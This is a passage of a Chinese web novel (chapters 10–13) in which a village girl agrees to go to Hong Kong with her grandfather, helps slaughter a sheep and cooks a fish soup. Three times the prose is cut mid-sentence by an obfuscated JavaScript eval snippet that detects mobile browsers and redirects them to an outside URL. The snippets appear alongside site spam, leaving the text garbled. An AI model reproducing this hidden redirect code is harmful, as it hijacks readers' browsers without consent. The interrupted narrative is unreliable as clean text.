他伸手摸岳宁的头发：“傻孩子爸爸说你天分高那肯定高。但是学厨哪里是一朝一夕能学会的？还有爷爷在港城就一个人当年出去外头艰苦我让你爸爸跟你罗爷爷学手艺。本想着等我挣下一份家业再接你爸爸出来谁知道时局变幻国门关了。我后悔没把你爸爸带身边只能天天盼着国门开。这一等就等了这么多年我没有其他家人了只有你这么一个血亲。你要是留在粤城难道我们祖孙要继续骨肉分离？” 爷爷没有再成家他一直在等国门开那就是另外一回事了。只是她准备了这么多日子的高考莫伯伯还等着她考去上海。 岳宁犹豫却见爷爷又拿起了爸爸的照片。 爷爷这把年纪得知儿子没了孙女还不愿意跟他回去难道让他孤零零一个人回港城？ 只能说她和高考无缘吧！岳宁想来想去下定决心：“爷爷我跟您回家。” 作者有话要说 第 10 章 力大无穷的野丫头 第10章力大无穷的野丫头 “对，回家。” 孩子说回家，岳宝华心头暖了起来，他眼里含着水汽说：“咱们在港城有家酒楼，你喜欢做菜最好不过了，爷爷教你。” “爷爷，我真会做菜。”岳宁重申，“我菜做得很好。” 岳宝华不这么想，孩子很聪明，毕竟在西北小山村长大，不知道外头的世界，以为会做几个菜就能开饭馆了，不能打击她的信心，岳宝华点头用哄孩子的口气：“嗯！爷爷等着尝宁宁的手艺。” 岳宝华拿起炕上的照片，摩挲着儿子的脸：“志荣啊！我把宁宁带回去，宁宁想学做菜，我会教她的，我们祖孙俩相依为命，你放心吧！” 说着说着，岳宝华不禁悲从中来，眼泪又落下，在相框玻璃上晕开。 岳宁看爷爷落泪，爷爷在外三十年没再娶，国门刚刚打开就找了朋友来找她。岳宁于心不忍：“爷爷，当年本来爸爸可以把我留在粤城，让罗爷爷照顾。爸爸说，他尝尽了骨肉分离的苦，就是再苦再难，也要把我带在身边。” 孙女的话，更是像锥子扎进心里，如果当初他带着志荣？岳宝华更加悔恨交加，抱着照片，眼泪落得更凶了。 岳宁递上毛巾：“爷爷，您擦擦眼泪。” 岳宝华接过毛巾，擦着眼泪，岳宁继续说：“可真到了这里，我都吃不饱穿不暖，还被人叫‘狗崽子’的时候，爸爸又后悔，没把我留在粤城。在您看来，您当初带爸爸去港城，爸爸就不会受苦。在爸爸看来他当初不带我过来，我就能少受苦。可有钱难买早知道，倒过来看人人都是诸葛亮。爸爸把我带在身边是因为他爱我，您没把爸爸带去港城，也是因为爱爸爸，只能说人生无常。” 岳宝华拿着毛巾，愣愣地看着岳宁。他这个一把年纪的老头，居然要十八岁的孙女来开解？自己何德何能，能有这么个好孩子？ 岳宁过来收了碗：“爷爷，您长途跋涉也累了，我陪您去趟茅房，” 岳宁从炕尾拿了纸，提着煤油灯，带着岳宝华出门，茅房要穿过羊圈门口，守着羊圈的大黑看见陌生人，吠了起来，把岳宝华吓了一条。 “别叫！”岳宁喊了一声，大黑摇起了尾巴。 岳宁把灯给岳宝华，塞了手纸给岳宝 华：“爷爷您拿着灯去茅房。” 岳宝华拿着粗粝的草纸提着昏暗的油灯进茅房看了孙女住的地方茅房是这个样子也没什么惊讶的了。他匆匆解决提着灯出来。 大黑躺在地上岳宁正在摸它的肚子。 自从自己恢复前世记忆就盘算着要离开可真到了要离开的时刻就连大黑这条狗她都不舍得。 “大黑姐姐马上要走了。以后你好好看着羊知道不？”岳宁跟大黑说。 大黑听见脚步声蹭地站了起来看了一眼岳宝华又摇尾巴往岳宁手边蹭过来。 岳宁拍了拍狗头站起来接过煤油灯进茅房。 大黑仰头看岳宝华刚才清澈的狗眼现在露出凶光岳宝华连脚都不敢挪幸亏岳宁很快过来岳宁一过来狗尾巴摇得飞快。 这变脸速度岳宝华慨叹：“这狗可真聪明。” “可不是？它还是我福星。福根叔让我放羊就是因为大黑是牧羊犬还有狗粮的份额像今天它在田里逮了一只耗子吃饱了。我就能少喂它一顿它的粮就是我的粮了。”岳宁话语中透出占了便宜的喜悦。 岳宝华笑出声转念心又酸疼了起来孩子要靠狗嘴里省粮。 祖孙俩回了屋里岳宁舀了水和岳宝华一起洗手：“爷爷我给您打水您擦洗一下。” 岳宁给岳宝华兑了水她出门去。 岳宝华从行李箱里拿出毛巾毛巾在斑驳的搪瓷盆里浸湿他深吸一口气抹了一把脸。 祖孙俩轮流擦洗了岳宁出去倒水进来见岳宝华在按着小腿问：“爷爷的腿？” “没事就是静脉曲张不严重连日赶路就不行了。”岳宝华说做他们这一行的常年站立年纪大了有这个毛病也正常去看过医生医生说还没到要手术的地步。 岳宁推门出去又抱了一捆草进来她掀开炕上的草席在床尾的草席下垫了干草：“爷爷晚上睡觉的时候脚搁得高些就没那么难受了。” 岳宝华收了这么多徒弟他不舒服有人会关心地问他不过从来没有哪个徒弟听见了之后默不作声帮他垫个脚。 岳宁吹了煤油灯脱了鞋踩在地铺上干草发出淅淅索索的声音躺下来 说全网首发无弹窗免费阅读ｃａｉｘｓ?(请来才小 说 看最新章节 完整章节) ，地面凹凸不平也没事，毕竟放羊的时候，她随便哪儿一躺也能打个盹儿。 岳宝华看着黑暗中，睡在地上的孙女。他的手捏着被子，这条被子里的棉花早已板结，这样的被子平时就盖在孙女的身上。 风吹着糊窗的塑料纸，嗦喽嗦喽作响，夜枭咕噜噜的叫声让生活在港城的岳宝华辗转难眠，听见小丫头均匀的呼吸声，甚至还有轻轻浅浅的呼噜声，岳宝华的心安定了下来，一切都会好起来的，他的宁宁以后不会再过这样的日子了。 孩子一门心思想要做厨师，厨师是个很累人的活，小姑娘能吃苦，他也不希望孩子再过苦日子，再说宝华楼如今的境地，又能撑几年呢？ 可要是不学厨师，孩子的出路在哪里？ 如今港城不论男女至少都读过中学，否则女孩子嫁人就没有挑选余地了。孩子怎么读书？回港城还得打听打听。 岳宝华在盘算中睡去，被狗吠，大叫声吵醒，见孙女已经不在地铺上，连忙塞脚进鞋子，推门出去。 天！他的宁宁肩上扛着一个男人，飞奔往坡上跑去…… * 今天清晨，岳宁如往常一样大清早醒来，去山上担山泉水，回来的时候碰上一帮子早上起来，等吃早饭的男人在闲磕牙。 其中一个男人见了他，打趣：“岳宁，咱们小杨沟的水都要被你挑完了。 岳宁横了他一眼：“我这是去山上挑的泉水，又不是去水窖挑。不碍着你们家用水。 西北常年缺水，村民用水，夏天雨水多，靠的是村里的水窖，冬天只能走过几里山路去挑山泉。 岳宁无论冬夏都是去挑山泉，村外的这一脉山泉清冽，烧水煮饭，吃口远好于水窖的水，不过是多花点时间和力气罢了。 “还是你勤快，我跟你嫂子说，让她至少喝的水去山上挑，她都不肯，情愿喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912432|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窖水。 “你想喝，就自己去挑。你自己管好一天的工分，嫂子呢？除了跟你一起出工收工，每天还得管四个孩子，洗衣做饭。岳宁放下水桶，扁担撑在地上，擦了一把额头的汗，看着那几个站着闲磕牙的老爷们，说，“你有闲工夫去吹牛，两桶水也挑过来了。 一大清早，女人们去水窖边洗衣服，挑水，管孩子，在家做早饭。男人们，要么 像他们这样一大清早起来宁愿闲磕牙也不愿意去挑两桶水要么就是睡到女人做好早饭直接吃早饭。有些男人不仅饭来张口衣来伸手脾气还暴躁还会对老婆动手。 岳宁说完拿起扁担弯腰挑水桶听见他洋洋得意地说：“小丫头你这个脾气嫁了男人让男人好好收拾了就老实了。” 岳宁把扁担往地上一扔大步走过去。 这位大哥见她冲向他反应过来瞪大眼睛：“你干嘛呢？” 岳宁像麻袋一样把他扛上了肩一路往坡上走去她肩上的大哥一直在扭动喊：“放我下来！” “还没一头羊重我还收拾不了你？”岳宁边走边说那人一直在挣扎却怎么都挣脱不了。 到了坡上岳宁回头：“要不要扔？” 闲磕牙的那几个男人跑了过来喊：“扔！” 她笑着把人往山坡下扔说是扔其实也就是放下只是斜坡地那位大哥脚没站稳惊叫着滚下坡去。 岳宁正在大笑见山坡下昨日见到的那位乔先生从一棵大树背后走了出来。 他身穿一件米色连帽卫衣下面配了一条牛仔裤手里拿着一台照相机仰头看见他露出笑容摆手跟她打招呼：“岳小姐早安。” 岳宁立马收声换上微笑：：“乔先生早。” 突然出现了一个陌生人有人嘀咕：“这是谁？” 一个人回答：“昨天晚上不是来了一大群人吗？说是港城来的接岳宁回去的。” “港城是哪儿？” 这里的人别说是港城了很多人连县城都没出过。 他们正在讨论岳宁听见一声：“宁宁。” 岳宁回过头看见爷爷暗道一声：“糟糕。” 自从爸爸去世之后她一个家庭出身很差的小姑娘要在这里生活保护好自己很不容易。 要让人知道自己不好惹又要跟人搞好关系。就要开这样既能展现自己实力又不完全得罪人的玩笑。 “爷爷。” 那位大哥爬上来手指着岳宁：“死丫头……” 岳宝华一步上前挡在孙女面前看着眼前的男人沉着一张脸：“我是她家长有什么跟我说。” 这一刻岳宁心里有种说不出的感觉她又有家长了。 这个男人被一个头发花白表情比大队**还严肃的老头给看着结巴了：“我……我……” 岳宁探出头：“爷爷我跟阿大哥开玩笑呢！” “对……对我们开玩笑。我回去吃早饭了走了！”这位大哥说了一句 岳宁看着那位大哥的背影回头跟岳宝华说：“爷爷我去把水倒了。” 岳宝华追上去：“宁宁我来。” 然而看到两个大水桶岳宝华不确定了。 岳宁笑着把水桶穿上了扁担两头轻松挑起说：“走吧！” 作者有话要说 第 11 章 杀羊 第11章杀羊 岳宝华跟上，昨天见到的孙女聪明善良，唯独担心的是她读书少了些。今天早上的这一幕告诉了他，孙女在西北旷野长大，无拘无束，甚至性子很野，到了港城只怕是会不适应吧？ 到了家门口，岳宁放下扁担，进屋里把水缸里的水舀进脸盆里，再把今天的水倒进去，转头跟岳宝华说：“爷爷，您刷过牙，洗过脸了没？” “还没！” 岳宁端着脸盆出了屋子，放在外头的一个倒扣过来的缸底上，说：“您刷牙洗脸，我做浆水面疙瘩，咱们吃早饭。” 岳宝华在外头刷牙洗脸，岳宁进去调面糊，他们这里一般都做浆水面或者浆水鱼鱼，岳宁嫌麻烦索性就做面疙瘩，用浆水做面汤。 “华叔，早晨。” 一声粤语传进来，岳宁听见爷爷的声音：“二少爷，昨夜睡得怎么样？” 屋外，乔君贤靠在门口的一棵歪脖子树上：“睡了两三个小时，他们的小学校舍……晚上躺着可以看到星星，房梁上一排蝙蝠倒挂着，夜里声音不断，我等着天微微明，就起来了，有所失也有所得，拍了几张日出的照片，非常不错。” 岳宝华不好意思地说：“让你受累了，明天回了城里就好了。” “华叔，我没这个意思，我只是在说这里的状况。我很喜欢跑这些地方，去过非洲，也曾去印度走了一个月，有些地方并不比这里好多少。看不同的民风民俗吗？还是按照正常来，也不要催陈先生催得太紧，他们肯定已经尽力了，毕竟我们这次走的是特殊流程吗？” “对对，已经麻烦陈先生了。” 岳宁走到门口：“乔先生，吃过早饭没？” “我起得太早了，还没。”乔君贤说。 “我做浆水面疙瘩，不嫌弃的话，吃一口？”岳宁又补了一句，“我的口味比较清淡。” 乔君贤点头：“打扰了。” “我马上好了，你们可以进来了。” 岳宁先进屋，锅盖已经揭开，酸香的味道飘出来。 做了两个人的份，现在分成三人份，浅浅的大半碗。 岳宝华一起过来端了浆水面疙瘩上炕上的板桌：“二少爷，炕上坐。” “还是岳小姐坐。”乔君贤发 现她家里就炕上能坐。 “您坐别推了推来推去面疙瘩都坨了。”岳宁说。 乔君贤坐下岳宁转头拿来了辣子碗舀了一小勺到自己碗里：“乔先生要加点辣吗？浆水面是酸辣味的。” “要。”乔君贤也舀了一勺。 “会不会太多？”岳宁问。 他把辣油放进面汤里说：“不会我外婆家在新加坡他们那里也吃酸辣口的我妈妈会做亚参叻沙 新马菜融合了东南亚和印度菜口味上酸辣咸甚至还有怪味的酱料岳宁恍然：“难怪你昨天吃炒洋芋饼饼不觉得口味重呢！” “昨天那个炒洋芋饼饼？味道不是一般重还好干。”乔君贤无奈地笑了一下低头吃面疙瘩面汤酸爽清香味道独特却不冲很好味。 他说：“味道很好还有股很清爽的香味。” 岳宝华也同意孩子确实有做厨师的天赋。 “你们已经吃上了？”李巧妹出现在门口“福根**让我来请你们去吃早饭呢！” 乔君贤见到李巧妹忙说：“谢谢我不过去了。岳小姐做的浆水面疙瘩很好吃我吃饱了。” “我回去跟福根**说一声。”李巧妹转身要走看见有人来招呼“阿发早饭吃了吗？” “吃了福根**让我来抓羊。” 抓羊？岳宁一口把面汤灌进嘴里跑了出去。 “福根**让抓羊杀了招待贵客。”阿发走过来“岳宁你帮我来挑一只羊。” 岳宁和他一起到羊圈膘肥体壮的五六个月大的羔羊吃口最好。岳宁弯腰摸羊羊毛覆盖之后羊和羊之间些许差别看不出来只能靠手感觉摸到第三只岳宁说：“就它了。” 阿发过来拖这只羊出去他用力猛了小羊受到惊吓后退逃蹿阿发冲过去抓小羊咩咩叫大黑也叫了起来。 岳宁一看不行过去一把揪住了小羊抱了起来塞在阿发手里。 阿发的脸皱在一起：“你不会让我抱到小学吧？我抱不动啊！” “真没用。”岳宁走出羊圈到窗台上拿了根绳子“过来。” 阿发抱着羊过去岳宁给小羊拴了 绳子：“去吧！” 阿发牵着羊走，岳宁拍了拍身上，把粘在身上的羊毛给捡了。 乔君贤出门对着里面说：“华叔，我先回小学，陈先生他们应该都起了。” 撩起了袖管的岳宝华出来：“好，我也马上过来。” “岳小姐，谢谢你的招待，我先过去了。”乔君贤笑着跟岳宁摆手。 “好。我们等一下就过来。”岳宁也摆手。 等乔君贤走出了几步，岳宁看向自己的手，为什么他摆个手都这么有味道，自己摆手就差了那么点意思？ 岳宁转念，上辈子就算自己功成名就，气度是有了，但是举止……好吧！她是豪爽派。 她进屋，见屋里，爷爷正在擦灶台。 上辈子，父母给她灌输家务都是女人做的，这辈子，西北这边也是如此。 只有这辈子的爸爸从来没这么说，他们父女俩一个洗碗一个洗衣服。爸爸走了，她恢复了前世的记忆。 这辈子穷，这辈子苦，只要爸爸在，也没什么。可为什么老天给了她那么好的爸爸，又把爸爸从她身边抢走？ 现在看见跟爸爸长得很像的爷爷，在擦灶台，岳宁眼睛热了。 岳宝华见刚刚还力大无穷地抱着羊的孙女，脸上挂着泪珠，放下抹布：“宁宁，怎么了？” 爷爷问她，岳宁笑了：“没什么，看见爷爷，想起爸爸在的时候，他也是这样洗碗。” 孩子提起志荣，岳宝华心头升腾起酸楚，他伸手揽住岳宁：“宁宁不哭了，不哭了。” 岳宁抬手抹了脸上的眼泪：“爷爷，我去把衣服洗了。” “我把地扫了。” 祖孙俩一个洗衣服，一个扫地。 西北缺水，岳宁平时洗手洗菜漂衣服下来的水都积攒在外头的水缸里，经过一整夜的沉淀，把上层的水舀出来，用来洗衣服刚刚好，去挑水前，她已经在水里放上碱面把衣服泡水里，这会儿搓洗几把就行了。 岳宁晾了衣服，岳宝华拿了簸箕出来，岳宁指着边上的一个破旧的藤条框说：“垃圾倒筐里，等下我去倒。” 这时一个中年男人走了过来，岳宁叫：“有财叔，早饭吃好了？” “吃好了。我今天托你的福，轮到放羊。”杨有财走过 来说。 岳宁帮着杨有财一起赶羊出去杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912433|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有财还嫌弃：“放个羊我还不会？” 等他赶着羊走了岳宁过去把羊圈略微收拾了一下拉上栅栏门。 祖孙俩往小学去走到村小门口一群人围在小学门口有人端着饭碗有人就这么站着全都把脑袋探里面看去。 “岳宁来了。”有人看见她喊了出来。 一群脑袋回了过来两人往前去岳宁看向一个端着碗的半大小子：“筷子戳进鼻孔里了。” 那小子回神低头扒拉荞麦面。 两人穿过人群往里走进了小学操场正在宰羊的六指阿根看见岳宁喊：“丫头过来给我搭把手阿发这小子尽添乱羊皮都要被他剥破了。” 李巧妹立刻说：“阿根 “要不你歇着吧！”阿根叔说。 岳宁挽起袖子到六指阿根边上的布袋里拿出皮塑料布围裙和袖套套上围裙和袖套拿起尖刀：“一直搭档的。” 岳宁弯腰拍阿发的肩：“让我。” 阿根叔天生六指家里还穷自然娶不上媳妇大概六七年前他爸妈给他买了个媳妇那个女孩子是被人拐来的他骗过他爸妈悄悄把人送走了。 偏远山村陋**难改福根**借此开了社员大会表扬了阿根尊重妇女意愿并且告诉所有社员只有旧社会才会买卖妇女才会有白毛女。还给他评上了先进。不过背地里他的外号变成了六指傻根。 刚好有个去县里学兽医的机会六指阿根有残疾又是个光棍家里还穷而且还评过先进这就是根正苗红了福根**派他出去学了兽医大队里牲口家禽防疫、为家禽、牲畜治病还有去市里给牲口拉饲料牲口拉出去交公都归他管。 岳宁爸爸没了福根**给她安排了放羊的工作跟做兽医的阿根叔自然的接触多了。 阿根叔还有个屠宰的手艺大队里要杀牛宰羊都会叫他他知道岳宁力气大也可怜她一个孤女有机会就会叫上她。 一起去杀了牛羊落得一些下水他会分岳宁半副肚肠一片肝 ，一块肺头…… 时间长了，免不了有嘴碎的人，说他一个光棍贪她一个小姑娘，想要哄小姑娘，阿根叔拿了杀猪刀冲到人家家里，说他光棍一条，谁敢嚼舌根，就割了谁的舌头。 以后有机会依旧会叫她，依旧会分她下水。 想到这可能是自己最后一次和阿根叔搭档杀羊，岳宁有些伤感。 羊已经放血了，岳宁替下阿发，和六指阿根一起剥羊皮。 张丽芬看着岳宁，只见岳宁娴熟地划开羊腿上的皮**，尖刀环着关节骨一圈，羊脚落下，挑断筋膜，皮肉分离。 只当是一个在乡间长大的土丫头，可没想过这个丫头这么野，力气还这么大，幸亏儿子没娶她，儿子跟她去了港城，两人闹了矛盾，儿子笨嘴笨舌的，骂不过，还打不过，那日子还怎么过？ 她侧头看岳宝华，昨天晚上那个丫头肯定跟岳宝华全说了，不知道他还愿意带国强去港城吗？ 岳宝华昨天看到那破屋子，看到她身上穿的衣服，孩子的穷苦突破了他的想象，但是今天早上看到她扛着壮汉跑，一把抱起百来斤的羊，面不改色地剥羊皮，又觉得她的日子，比自己想得要好很多。 整张羊皮被剥了下来，岳宁站起来向岳宝华炫耀。 带血的羊皮后面是孙女灿烂的笑脸，岳宝华笑着微微摇头，这孩子！ 乔君贤举着相机把这一幕拍下。 作者有话要说 第 12 章 拆鱼羹 第12章拆鱼羹 六指阿根划开了羊肚子，岳宁和他一起处理内脏，岳宝华转身看见张丽芬往他这里看着，不知道在想什么。 不去管她！岳宝华看着一排黄土坯的房子，窗上的塑料布，大约是因为放暑假没人管，都破裂了，风吹过，破裂的塑料布猎猎作响，他往廊檐下走去，透过窗户破洞看教室，教室里的课桌桌腿是接的，课桌桌面斑斑驳驳，全是划痕。黑板都不完整，黑色颜料掉落了不少，中间还有一个大坑。墙壁上有个大洞和隔壁教室相通。 宁宁就是在这样的学校学习？能读多少书呢？只怕是没识几个字吧？ 岳宝华回头看正在洗羊肠的岳宁，孩子性子野，想来也不能定定心心读书。自己这个半路过来认她的爷爷，逼着她读书，反而引起她的反感。 自己原来不希望孩子做厨子，是因为觉得女孩子没必要吃这个苦，也是觉得女孩子可能吃不得做厨子的苦，很显然孩子能吃苦，她也有做厨子的天赋。 得知志荣没了，自己的心气就散了，只想着把宁宁接到港城去，宝华楼开也好关也好，不是那么重要了，凭着自己这些年攒下的家底，让孩子找个好归宿，好歹以后他去了，见到志荣见到老婆，也能有个交代。 现在他得重新盘算了，要好好撑着宝华楼，自己今年六十，应该能干到七十出头，用十年时间把手艺教给宁宁，让宁宁接下宝华楼。 “华叔。”张丽芬走到岳宝华身边。 岳宝华应了一声：“嗯。” 张丽芬试探着问：“华叔，宁宁昨晚跟您说了吧？” “说了，说你想让她和国强结婚，帮她回粤城。”岳宝华索性就摊开来讲。 张丽芬摇头：“昨天，我才开了一个头，您别想岔了。内地早就不兴盲婚哑嫁了，都说要婚姻自由了。我们夫妻俩再糊涂，也不会把两个生活在千里之外的孩子拉在一起。强扭的瓜不甜，我们俩还是懂的。您要把宁宁接去港城，最难的不是从粤城到港城，而是从这里到粤城。您是不知道，多少知青想要回城，使劲手段。咱们家隔壁的一个孩子，为了能回来吃火柴头，吃到尿血，以病退，才转回了城里。我们知道这一步太难，才想让宁宁以酒楼家属的名义回粤城。” “你们费这么大 的劲儿甚至让儿子跟宁宁领证。就为了帮我？”岳宝华看着正在砍羊头的孙女。 张丽芬笑：“当然也有所求虽然国强的爷爷跟你是师兄弟也照顾了志荣这么多年可志荣终究是**他爷爷也**。情分有却也淡了。所以我们想借着这个情分请您把国强带去港城让他跟在您身边再学两年手艺。我们也没想到您跟乔老板有这个交情。不过国强的手艺是真好你的酒楼总归要厨师多他一个也不多是吧？” 岳宝华往罗国强看去罗国强正在跟岳宁说话两人不知道说到了什么罗国强笑出声。 无论是自己跟罗家一家接触下来还是说宁宁跟他说的罗国强其实有点像师兄有心思却也不算多还算纯良。 自己在港城收的那几个徒弟别说丁胜强了就是楼家富都比罗国强要心思多。自己也从不求徒弟能对自己忠心耿耿教会徒弟饿死师傅才是千古名言。 师兄对志荣父女也是尽了心的楼家富一走宝华楼本就缺厨师自己原本的打算就那样凑合了。现在不一样了他要培养宁宁那就要把宝华楼撑起来。据说罗国强是这一代里手艺最好的自己的厨艺本就出自福运楼一脉相承。如果手艺真的好不如带他去港城在宝华楼做厨师。罗国强刚刚过去也没处去三五年之后宝华楼后面那几个小子起来了宁宁也学出来了。自己也算是还了师兄的这份情。不过先得看罗国强到底是不是真有这个手艺？ “突突突”一辆手扶拖拉机开了进来县里陪同来的同志迎了过去后拖斗里的一个戴草帽的大哥跳了下来：“主任一只鸡一条鲤鱼几条鲫鱼一袋大米够了吗？” “够了 福根**过去帮忙把东西搬下来县里的同志跟福根**一起拎了东西过来：“大家这几天还没吃过米饭吧？咱们西北也产大米而且在古代还是贡米呢！咱们的西北的鲤鱼那也是肉质细嫩鲜美……” 张丽芬着急着把儿子送出去听见有鱼立刻抓紧机会跑过去说：“国强不是有鱼吗？你给大家做咱们福运楼的招牌‘拆鱼羹’啊！” 罗国强不知道他妈怎么想一出是一出不是什么鱼都能做拆鱼羹他说：“妈拆鱼羹用的鱼是花 鲢或者白鲢，而且还得是大水面里的花鲢和白鲢，这样的鱼腥味才少，鲤鱼土腥味重，根本不能用。 张丽芬给罗国强使眼色，她好不容易跟岳宝华说了，岳宝华说要看看罗国强的手艺。现在不比之前，岳宝华知道他们过来骗岳宁结婚，已经存了恶感，还想跟他去港城，就不那么容易了，国强这孩子，有机会怎么不懂抓呢？ “而且，配菜我还能凑合，这里肯定没有马蹄粉，马蹄粉也是福运楼拆鱼羹鲜甜顺滑的关键。别的地方的拆鱼羹是什么样的，我不管。但是，福运楼的拆鱼羹讲究的是真材实料，材料不对，我绝对不做。罗国强很耿直地说。 罗国强的话，岳宝华听得很舒服，这孩子做事有分寸有底线，是个好孩子，他脸上露出微笑频频点头。 张丽芬察言观色，心里轻松了起来，看来岳宝华很满意儿子的话。 “有鲫鱼，鲫鱼也能做拆鱼羹啊！岳宁探头看柳条筐里的鱼，“我来做。 岳宝华笑：“确实能做，但是啊！福运楼讲究传承，福运楼的拆鱼羹，是有规矩的，宝华楼与福运楼一脉相承。不能做得正宗，情愿不做。 “那我不管，我就做拆鱼羹。岳宁信心满满地说。 张丽芬笑：“宁宁爱做就做，又不是在酒楼里，家常菜吗？没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912434|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么多讲究。 孩子昨晚跟他说会做饭，早上给他做浆水面疙瘩，这会儿非要做拆鱼羹，一定要他承认她会做菜？真是个倔强的小丫头。他承认她有天赋，但是真的要成为一个厨师，那会的东西，可不仅仅是能做家常菜，更不是说把传统菜瞎做。 孩子的信心不能打击，岳宝华说：“好，你做的，爷爷都爱吃！ 李巧妹的男人杨大年骑着自行车进来，自行车后座挂了一个藤条筐，他把车子停下。 “大年来了，有羊，有鸡有鱼，就看你的手艺了。福根**走过去说。 “知道了。杨大年把藤条筐从自行车上拿下来，“都拿了介绍信了，要赵家拐那帮人拿点蔬菜出来，还扭扭捏捏的。 岳宁过去看，藤条筐里有胡萝卜、丝瓜、芹菜…… 西北这里有像小杨沟这样在丘陵地带，整个村子都没一条河经过，也有像赵家拐那里，一条河流拐过去，水源充沛，可 以种菜种粮的地方。 小杨沟的孩子时常会去赵家拐的蔬菜地里捡菜叶，也有孩子趁着人家不注意的时候，偷上两棵菜。 所以，不管是去捡菜叶还是说真偷了菜，只要被发现就会被追赶。岳宁小时候被追得都顾不上篮子，眼睁睁地看着自己的篮子被砸，菜叶子被踩烂，她一路哭回家。 爸抱着她，哄着她，等她睡了，一个人悄悄地去十多里外去抓鱼。第二天早上，她在鱼汤的香味中醒来，喝一口爸爸做的拆鱼羹。 “大年叔，我去杀鱼了，鲤鱼归您，鲫鱼我来？”岳宁提起水桶。 “行，鲫鱼你拿去吧！其他我来。”杨大年转了一圈，跟杨福根说，“福根**，中午吃羊肉、鲤鱼，这只鸡晚上烧了？” “你是大厨，你做主。”杨福根说。 岳宁见阿发没事干了，在瞎转悠，“你去我家，灶台上有个砂锅，给我拿过来，另外到屋里的水缸舀桶水来。” “水？”阿发指着两个大缸，“这不是有吗？” “我家是山泉水，煮鱼汤用。”岳宁踢了他一脚，“快去。” 阿发跑了出去，岳宁提了桶到边上杀鱼，她速度飞快，几条鱼没几分钟就杀好了，清洗干净，水冲了场地，把鲤鱼端到桌上：“大年叔，鲫鱼的鱼泡也放鲤鱼碗里，你等下一起烧。” 岳宁拿了个干净的碗：“大米呢？” “这里。”李巧妹应声。 岳宁舀了小半碗，去淘洗。 阿发一手抱着砂锅，一手提了一桶水嘟嘟囔囔：“瞎讲究，还要山泉水？” “就你话多。”岳宁接过砂锅。 岳宝华走过来问：“宁宁，你这是煮粥？” “没有马蹄粉，用粥汤调。”岳宁把砂锅放在烧水炉上。 “用粥水？”岳宝华兴趣突然起来了。 作者有话要说 第 13 章 真会做菜 第13章真会做菜 岳宁到了案板前，提了一条巴掌长的鲫鱼放在案板上，宽大的片刀落在鱼尾上。鱼尾到鱼头，完整的一片鱼肉被片了下来。翻面，同样手法片下另外半边鱼肉。 斜刀片下鱼排刺，她放下刀，手指摸过鱼肉，再拿起刀，片刀轻柔地划入鱼背和鱼尾，两条细刺取了出来。她把两片完整的鱼肉放在葱姜水里，鱼头鱼骨鱼尾剁成块放原来的盘里。 学校的花猫闻到了鱼腥味，“喵呜……喵呜……”跑了过来，岳宁把两条带着小刺的鱼肉赏它了。 看着孙女这个娴熟的手法，岳宝华楞了，自己年轻那会儿，学厨做切墩，打荷，可没宁宁这么利落。别说是又小刺又多的鲫鱼了，就是做鱼生的草鱼，那也是经过三年切墩才练出了那一手功夫。 这还不是关键，关键是岳宝华恨不能拍自己的脑袋，他烧了这么多年的菜，遵循传统拆鱼，就没想过这么去刺。做鱼生不是也这么去刺的吗？ 罗国强挠着头：“宁宁，你这个去刺的手法是荣叔教你的？” “对啊！这里牛羊是国家的，米面定量，咱们父女俩能凑合吃半个月就差不多了，下半个月都靠着洋芋过日子。我不长个子，爸爸晚上跑几十里地去抓鱼。咱们这儿没有花鲢，白鲢，最常见的就是鲤鱼、鲫鱼和鲶鱼，爸爸用鲫鱼熬汤，他又想让我吃肉。就做拆鱼羹给我吃，但是鲫鱼小而且刺多，把鱼肉拆出来太费事了，爸爸就用这种办法剔鱼刺，又快又省心，既可以做拆鱼羹，也可以把鱼肉切片，直接烫鱼片给我吃。”岳宁把五条鲫鱼全去了刺。 爸爸给她做拆鱼羹是真，不过爸爸做拆鱼羹都是亲手一根一根把小刺给剔了。这一手是她自己上辈子的习惯，她懒得一根一根拆，就练出了一手鲫鱼剔骨的本事。 岳宁烧热锅子放油，大约是见岳宝华和罗国强围着，其他人也走过来看她烧菜。 鱼肉入锅煎，岳宁不急不慢，行云流水，鱼肉煎到金黄，投入清水中。 岳宝华暗赞，这个火候刚刚好，宝华楼的几个徒孙，没一个能把控到这个地步，就连阿松偶尔也会煎过头。 岳宁煎好了鱼肉，将鱼头鱼尾鱼骨吊汤，趁着这个功夫，去拿配菜，这些蔬菜都是杨大年去拿回来的，她打个招呼：“大年叔 ，我这些菜每样拿一点？就鱼羹里调个色？ “都有多，你随便拿。杨大年想起什么来，“你有空吗？ “有啊？ 